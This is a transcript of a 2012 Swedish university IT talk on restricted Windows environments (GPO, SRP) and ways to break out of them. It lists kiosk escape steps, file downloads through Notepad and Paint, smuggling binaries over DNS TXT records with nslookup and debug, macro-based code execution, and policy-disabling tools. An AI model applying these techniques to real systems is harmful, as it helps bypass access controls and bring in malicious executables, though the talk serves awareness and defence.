NETinfo 2012-09-27 Magnus Persson Johan Silverup Epost: Telefon: 046 – 222 13 60.

En presentation över ämnet: "NETinfo 2012-09-27 Magnus Persson Johan Silverup Epost: Telefon: 046 – 222 13 60."— Presentationens avskrift:

1 NETinfo 2012-09-27 Magnus Persson Johan Silverup Epost: Magnus.Persson@ldc.lu.se Telefon: 046 – 222 13 60

2 Netinfo 2012-09-27 Begränsade datormiljöer - Vilka typer finns det? - Hur fungerar de? - Hur bryter man sig ut ur dem?

3 Olika typer av begränsningar Fysiska begränsningar; BIOS, mm Filtrering av trafik; IPS, brandvägg, mm Windows OS och domänkontroller

4 Windows OS kontroller Group Policy Objects (GPO) Software Restriction Policies (SRP) Tredje parts program

5 Group Policy Objects Kan begränsa användning av tjänster – IE, Windows Explorer, cmd.exe, mm Kan dölja saker – Menyer, ikoner, kontrollpanelen, mm Hundratals olika inställningar

6 Software Restriction Policies Är definierade i GPO Begränsar vilka program som får köras Två inställningar – Unrestricted – Disallowed

7 Vad vill vi ha? Kommandofönster, cmd.exe Ändra i filer, t.ex. notepad.exe Hämta filer, t.ex. en webbrowser

8 Utbrytning #1 Få upp en utskriftsdialogruta Klicka lägg till skrivare Leta efter nätverksskrivare, vilket namn som helst Felmeddelande; klicka på “Help and support center” Följ anvisningarna på nästa sida

9 Utbrytning #2 Klicka Help (F1) → Options → Home Klicka ”Help and Support Center” Klicka “Get Support or go to Win Newsgroup” Klicka “Go to Win Web site forum” Nu får du en webbläsare

10 Utbrytning #3 Under Hjälp, hitta Options → Internet options Gå till Browsing history under fliken General Klicka Settnings → View files eller View objects Explorer startar, gå till C:\System\Windows32 Högerklicka på cmd.exe och välj Run eller Open

11 Utbrytning #4 Fungerar med många program i Windows Klicka Hjälp → About → EULA Notepad startar!

12 Utbrytning #5 Dölj filer/foldrar i dialogrutor mha GPO Explorer visar inte dem Man kan fortfarande skriva in hela sökvägen C:\Windows\System32\cmd.exe

13 Utbrytning #6 Välj Help och högerklicka på programrutan i taskbar Välj “Jump to URL” Välj “file:\\C:\Windows\System32\cmd.exe”file:\\C:\Windows\System32\cmd.exe Välj Run när systemet frågar vad du vill göra Testa också –“ms-its:C\:Windows\Help\admtools.chm::\Admtools.html”

14 Hacka Kioskdatorer via WWW Skaffa access till en webbläasre Surfa till http://ikat.ha.cked.net/http://ikat.ha.cked.net/ Stor samling interaktiva verktyg Windows/Linux/PhotoKat e

15 Så vad gör vi nu? Det finns många sätt att lura GPO utan SRP Vi har nu startat upp program Vad kan vi göra med dem?

16 Hämta filer med Notepad / Wordpad Klicka på Open file Skriv in URL i fältet Http://192.168.1.2/ Http://192.168.1.2 Ftp://192.168.1.2/ Ftp://192.168.1.2 File://192.168.1.2/ File:// Filen hämtas och lagras i Temporary Internet Files

17 Hämta filer med MS Paint Paint hämtar filer på samma sätt som Notepad Paint förstår bara bild-filer men de mellanlagras i – C:\Documents And Settings\ \Temporary Internet Files\Content.IE5\xxxxx\ C:\Documents

18 Hämta filer med nslookup Kräver egen domän och DNS-server Konvertera binärfiler till ASCII (dbgtool) Lägg in koden i DNS-serverns TXT-fält ”nslookup -querytype=TXT hackme.mydom.net”

19 Hämta filer med nslookup (2) Konvertera tillbaks från ASCII → binärkod Vi använder debugger som följer med Windows – ”debug < evil-ascii.txt” – ”ren #TEMP# evil-binary.exe”

20 Filer skyddade med SPR Det är svårare att komma runt SPR GPO gömmer bara filer och funktioner SPR hindrar filer att exekveras

21 Exekvera via “runas” ”Runas” exekverar filer under en annan användare ”runas /savecred /user: ” Fungerar inte om man väljer ”current user”

22 Kör kod via Excel All exekverbar kod kan inte skyddas med SPR Macro i Office-program är en “bakdörr” Man kan ladda binärkod i Excel-ark och exekvera Exekvera från Excelmacro med create_thread()

23 Manipulera processer ”gpdisable” Fanns på Sysinternals Hindrar access till en registernyckel för SPR e

24 Manipulera processer Basic Process Manipulation Toolkit (BPMT) Kan avaktivera GPO och SPR Körs från kommando-skal

25 NETinfo 2012-09-27 FRÅGOR?